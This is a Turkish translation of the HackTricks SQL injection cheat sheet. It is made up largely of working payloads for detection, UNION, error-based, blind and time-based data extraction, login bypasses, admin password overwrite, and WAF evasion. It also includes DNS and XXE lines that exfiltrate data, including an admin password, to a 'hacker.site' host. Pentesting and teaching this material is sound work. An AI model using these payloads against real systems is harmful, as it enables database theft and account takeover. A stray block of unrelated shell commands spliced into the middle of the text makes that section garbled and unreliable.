SQL Injection

Reading time: 21 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SQL injection nedir?

Bir SQL injection, saldırganların bir uygulamanın veritabanı sorgularına müdahale etmelerini sağlayan bir güvenlik açığıdır. Bu zafiyet, saldırganların erişmemesi gereken verileri — diğer kullanıcıların bilgileri veya uygulamanın erişebildiği herhangi bir veri dahil — görmelerine, değiştirmelerine veya silmelerine olanak tanıyabilir. Bu tür eylemler uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere, hatta sunucunun ele geçirilmesine veya denial of service'e neden olabilir.

Giriş noktası tespiti

Bir site, SQLi ile ilişkili girdilere verilen olağandışı sunucu yanıtları nedeniyle SQL injection (SQLi)'ye açık görünüyorsa, ilk adım sorguyu bozmeden sorguya nasıl veri enjekte edileceğini anlamaktır. Bu, mevcut bağlamdan etkili şekilde kaçma (escape) yöntemini belirlemeyi gerektirir. Aşağıda bazı faydalı örnekler var:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Sonra, hataların olmaması için query'i nasıl düzelteceğinizi bilmeniz gerekir. Query'i düzeltmek için input veri girerek previous query'in yeni veriyi kabul etmesini sağlayabilir veya sadece verinizi input edip sonuna bir comment symbol ekleyebilirsiniz.

Not: Eğer error messages görebiliyorsanız ya da bir query'nin çalışırken ve çalışmıyorken arasındaki farkları tespit edebiliyorsanız bu aşama daha kolay olacaktır.

Comments

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Mantıksal işlemlerle doğrulama

SQL injection zafiyetini doğrulamanın güvenilir bir yöntemi, bir mantıksal işlem yürütmek ve beklenen sonuçları gözlemlemektir. Örneğin, ?username=Peter gibi bir GET parametresinin ?username=Peter' or '1'='1 olarak değiştirildiğinde aynı içeriği vermesi SQL injection açığını gösterir.

Benzer şekilde, matematiksel işlemlerin uygulanması da etkili bir doğrulama tekniğidir. Örneğin, ?id=1 ve ?id=2-1 erişimleri aynı sonucu veriyorsa, bu SQL injection göstergesidir.

Mantıksal işlem doğrulamasını gösteren örnekler:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Bu kelime listesi, önerilen şekilde SQLinjections'ı doğrulamaya çalışmak için oluşturuldu:

Gerçek SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Zamanlama ile Doğrulama

Bazı durumlarda test ettiğiniz sayfada herhangi bir değişiklik fark etmeyebilirsiniz. Bu nedenle, blind SQL injections'ı keşfetmek için DB'nin işlemler yapmasını sağlayarak sayfanın yüklenme süresine etki etmesini sağlamak iyi bir yoldur.
Bu yüzden SQL query'e tamamlanması uzun sürecek bir işlemi concat edeceğiz:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Bazı durumlarda sleep functions won't be allowed. Bu durumda, bu fonksiyonları kullanmak yerine sorgunun birkaç saniye sürecek karmaşık işlemler gerçekleştirmesini sağlayabilirsiniz. Bu tekniklerin örnekleri her teknoloji için ayrı olarak (varsa) yorumlanacaktır.

Arka Uç Tespiti

Arka ucu tespit etmenin en iyi yolu, farklı arka uçlara ait fonksiyonları çalıştırmayı denemektir. Önceki bölümdeki sleep fonksiyonlarını veya şu örnekleri kullanabilirsiniz ( payloadsallthethings kaynağından alınan tablo):

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Ayrıca, sorgu çıktısına erişiminiz varsa, veritabanı sürümünü yazdırmasını sağlayabilirsiniz.

tip

Devamında farklı tür SQL Injection'ları istismar etmek için farklı yöntemleri tartışacağız. Örnek olarak MySQL kullanacağız.

PortSwigger ile Tespit

SQL injection cheat sheet | Web Security Academy

Union Based'i İstismar Etme

Sütun sayısını tespit etme

Eğer sorgunun çıktısını görebiliyorsanız, bu onu istismar etmenin en iyi yoludur. Öncelikle, ilk isteğin döndürdüğü sütun sayısını bulmamız gerekiyor. Bunun nedeni her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir. Bu amaç için genellikle iki yöntem kullanılır:

Order/Group by

Bir sorgudaki sütun sayısını belirlemek için, bir yanlış yanıt alına kadar ORDER BY veya GROUP BY deyimlerinde kullanılan sayıyı kademeli olarak artırın. SQL içindeki GROUP BY ve ORDER BY'ın farklı işlevleri olmasına rağmen, sorgunun sütun sayısını belirlemek için her ikisi de aynı şekilde kullanılabilir.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Sorgu doğru olana kadar daha fazla null değeri seçin:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null değerlerini kullanmalısınız; bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve null her durumda geçerlidir.

Veritabanı adları, tablo adları ve sütun adlarını çıkarma

Aşağıdaki örneklerde tüm veritabanlarının adlarını, bir veritabanının tablo adlarını ve bir tablonun sütun adlarını alacağız:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Her farklı veritabanında bu veriyi keşfetmenin farklı bir yolu vardır, ancak her zaman aynı metodolojidir.

Gizli Union Based'in Sömürülmesi

When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a hidden union-based injection. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.

This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.

Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.

For more comprehensive insights, refer to the complete article available at Healing Blind Injections.

Error based'in Sömürülmesi

If for some reason you cannot see the output of the query but you can see the error messages, you can make this error messages to ex-filtrate data from the database.
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun return ettiği yanıtın true veya false olduğunu distinguished edebilirsiniz çünkü sayfada farklı içerikler gösterilir.
Bu durumda, bu davranışı kullanarak database'i char by char dökebilirsiniz:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Error Blind SQLi'yi Sömürme

Bu, öncekiyle aynı durumdur; ancak sorgudan dönen true/false yanıtı arasında ayrım yapmak yerine SQL sorgusunda bir hata olup olmadığını ayırt edebilirsiniz (ör. HTTP server çöktüğü için). Bu nedenle, bu durumda doğru char'ı tahmin ettiğinizde her seferinde bir SQLerror zorlayabilirsiniz:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Time Based SQLi'yi İstismar Etme

Bu durumda sayfanın bağlamına göre sorgunun cevabını ayırt etmek için hiçbir yol yoktur. Ancak, tahmin edilen karakter doğruysa sayfanın yüklenmesinin daha uzun sürmesini sağlayabilirsiniz. Bu tekniğin daha önce confirm a SQLi vuln amacıyla kullanıldığını zaten görmüştük.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

stacked queries kullanarak ardışık olarak birden fazla sorgu çalıştırabilirsiniz. Sonraki sorgular çalıştırılırken, sonuçlar uygulamaya geri döndürülmez. Bu nedenle bu teknik öncelikle blind vulnerabilities ile ilişkilidir; burada ikinci bir sorgu ile bir DNS lookup, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.

Oracle desteklemez stacked queries. MySQL, Microsoft ve PostgreSQL bunları destekler: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Eğer no-other exploitation method worked ise, bilgilerin sizin kontrolünüzdeki bir external host'a database ex-filtrate edilmesini sağlamayı deneyebilirsiniz. Örneğin, DNS sorguları aracılığıyla:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE aracılığıyla bant dışı veri sızdırma

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Otomatik İstismar

SQLi açığını SQLMap Cheatsheet ile sqlmap kullanarak sömürmek için bakın.

Teknolojiye özel bilgi

SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı bazı ek hileleri bulun:

Veya MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hile https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Kimlik doğrulama atlatma

Login işlevini atlatmaya çalışmak için denenebilecek liste:

Login bypass List

Ham hash ile kimlik doğrulama atlatma

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Bu sorgu, MD5'in raw output için true ile kullanıldığı kimlik doğrulama kontrollerinde bir zayıflığı gösterir ve sistemi SQL injection'a karşı savunmasız bırakır. Saldırganlar, hashlendiğinde beklenmedik SQL komutu parçaları üreten girdiler hazırlayarak bunu sömürebilir ve yetkisiz erişime yol açabilir.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Önerilen liste:

Listede her satırı username olarak kullanmalısınız, password ise her zaman: Pass1234.
(Bu payloads, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)

GBK Authentication Bypass

Eğer ' escape ediliyorsa %A8%27 kullanabilirsiniz; ve ' escape edildiğinde şu şekilde oluşacaktır: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python betiği:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (çoklu bağlam)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Mevcut nesne/kullanıcının parolasını değiştir

Bunu yapmak için bir şeyi değiştirerek "master object" ile aynı adda yeni bir nesne oluşturmayı (kullanıcılar için muhtemelen admin) denemelisiniz:

  • Şu kullanıcıyı oluştur: AdMIn (büyük & küçük harfler)
  • Şu kullanıcıyı oluştur: admin=
  • SQL Truncation Attack (kullanıcı adı veya email için bir tür uzunluk limiti olduğunda) --> Şu kullanıcıyı oluştur: admin [a lot of spaces] a

SQL Truncation Attack

Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve admin kullanıcısı gibi davranmak istiyorsanız, şu kullanıcı adını oluşturmaya çalışın: "admin [30 spaces] a" ve herhangi bir parola.

Veritabanı girilen kullanıcı adının veritabanında var olup olmadığını kontrol edecek. Eğer yoksa, kullanıcı adını izin verilen maksimum karakter sayısına (bu durumda: "admin [25 spaces]") kadar kısaltacak ve daha sonra sondaki tüm boşlukları otomatik olarak kaldırarak veritabanında "admin" kullanıcısını yeni parola ile güncelleyecektir (bazı hatalar görülebilir fakat bu, işlemin başarısız olduğu anlamına gelmez).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert zaman tabanlı kontrol

VALUES ifadesinden çıkmak için gerektiğini düşündüğünüz kadar ','','' ekleyin. Eğer delay yürütülürse, SQLInjection vardır.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL'de ON DUPLICATE KEY UPDATE ifadesi, bir satır eklenmeye çalışıldığında ve bu satırın UNIQUE index veya PRIMARY KEY içinde tekrar eden bir değere yol açması durumunda veritabanının hangi işlemleri yapacağını belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının parolasını değiştirmek için nasıl istismar edilebileceğini göstermektedir:

Example Payload Injection:

Bir injection payload şu şekilde hazırlanabilir; burada users tablosuna iki satır eklenmeye çalışılmaktadır. İlk satır oyalama amacıyla, ikinci satır ise mevcut bir yöneticinin e-posta adresini hedefleyerek parolayı güncellemek içindir:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

İşleyişi şöyle:

  • Sorgu iki satır eklemeye çalışır: biri generic_user@example.com için, diğeri ise admin_generic@example.com için.
  • Eğer admin_generic@example.com için satır zaten mevcutsa, ON DUPLICATE KEY UPDATE ifadesi tetiklenir ve MySQL'e mevcut satırın password alanını "bcrypt_hash_of_newpassword" olarak güncellemesini söyler.
  • Sonuç olarak, kimlik doğrulama admin_generic@example.com ile bcrypt hash'ine karşılık gelen parola kullanılarak denenebilir ("bcrypt_hash_of_newpassword" ifadesi yeni parolanın bcrypt hash'ini temsil eder; bu, istenen parolanın gerçek hash'i ile değiştirilmelidir).

Bilgi çıkarımı

Aynı anda 2 hesap oluşturma

Yeni bir kullanıcı oluşturulmaya çalışıldığında username, password ve email gereklidir:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Onluk veya onaltılık kullanma

Bu teknikle yalnızca 1 hesap oluşturarak bilgi çıkarabilirsiniz. Herhangi bir şeyi yorum satırı haline getirmenize gerek olmadığını belirtmek önemlidir.

hex2dec ve substr kullanılarak:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
cat src/pentesting-web/sql-injection/README.md
git show HEAD:src/pentesting-web/sql-injection/README.md
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
less src/pentesting-web/sql-injection/README.md
curl -s https://raw.githubusercontent.com/<owner>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md
python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Kullanarak hex ve replace (ve substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection enjekte edilebilen sorgunun doğrudan çıktı vermediği; bunun yerine enjekte edilen sorgunun çıktısının çıktı üreten başka bir sorguya aktarıldığı bir durumdur. (From Paper)

Örnek:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - whitespace alternatifleri kullanarak bypass

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - yorumlar kullanarak bypass

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - parantez kullanarak bypass

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass kullanarak OFFSET, FROM ve JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Genel Bypasses

Anahtar kelimeler kullanarak Blacklist - büyük/küçük harf kullanarak bypass

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Anahtar kelimelerle yapılan büyük/küçük harf duyarsız blacklist - eşdeğer bir operator kullanarak bypass

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bilimsel Gösterim WAF bypass

Bu hileyle ilgili daha ayrıntılı bir açıklamayı gosecure blog.
Temelde, WAF'ı bypass etmek için bilimsel gösterimi beklenmedik şekillerde kullanabilirsiniz:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Sütun İsimleri Kısıtlamasını Aşma

Öncelikle, eğer orijinal sorgu ile flag'i çıkarmak istediğiniz tablo aynı sütun sayısına sahipse şunu yapabilirsiniz: 0 UNION SELECT * FROM flag

Bir tablonun üçüncü sütununa ismini kullanmadan erişmek mümkündür; aşağıdaki gibi bir sorgu ile: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, bu yüzden bir sqlinjection'da bu şöyle görünür:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Veya comma bypass kullanarak:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Bu taktik şu adresten alınmıştır: https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Kullanıcı girdisi SELECT listesine veya table/column identifiers olarak birleştiriliyorsa, prepared statements işe yaramaz çünkü bind parameters yalnızca değerleri korur, identifiers için değil. Yaygın bir savunmasız örüntü şudur:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

İstismar fikri: field konumuna bir subquery inject ederek herhangi bir veriyi exfiltrate etmek:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Notlar:

  • Bu, WHERE ifadesi bağlı bir parametre kullansa bile çalışır; çünkü identifier listesi hâlâ string olarak birleştirilir.
  • Bazı stack'ler ayrıca tablo adını kontrol etmenize izin verir (tablename injection), bu da tablolar arası okumalara olanak sağlar.
  • Çıktı noktaları seçilen değeri HTML/JSON içine yansıtabilir, bu da yanıt üzerinden doğrudan XSS veya token exfiltration'a izin verebilir.

Önlemler:

  • Kullanıcı girdilerinden gelen identifier'ları asla birleştirmeyin. İzin verilen sütun adlarını sabit bir beyaz listeye eşleyin ve identifier'ları doğru şekilde tırnaklayın.
  • Dinamik tablo erişimi gerekiyorsa, bunu sonlu bir küple sınırlayın ve güvenli bir eşlemeyle sunucu tarafında çözün.

WAF bypass öneri araçları

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Diğer Rehberler

Brute-Force Tespit Listesi

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin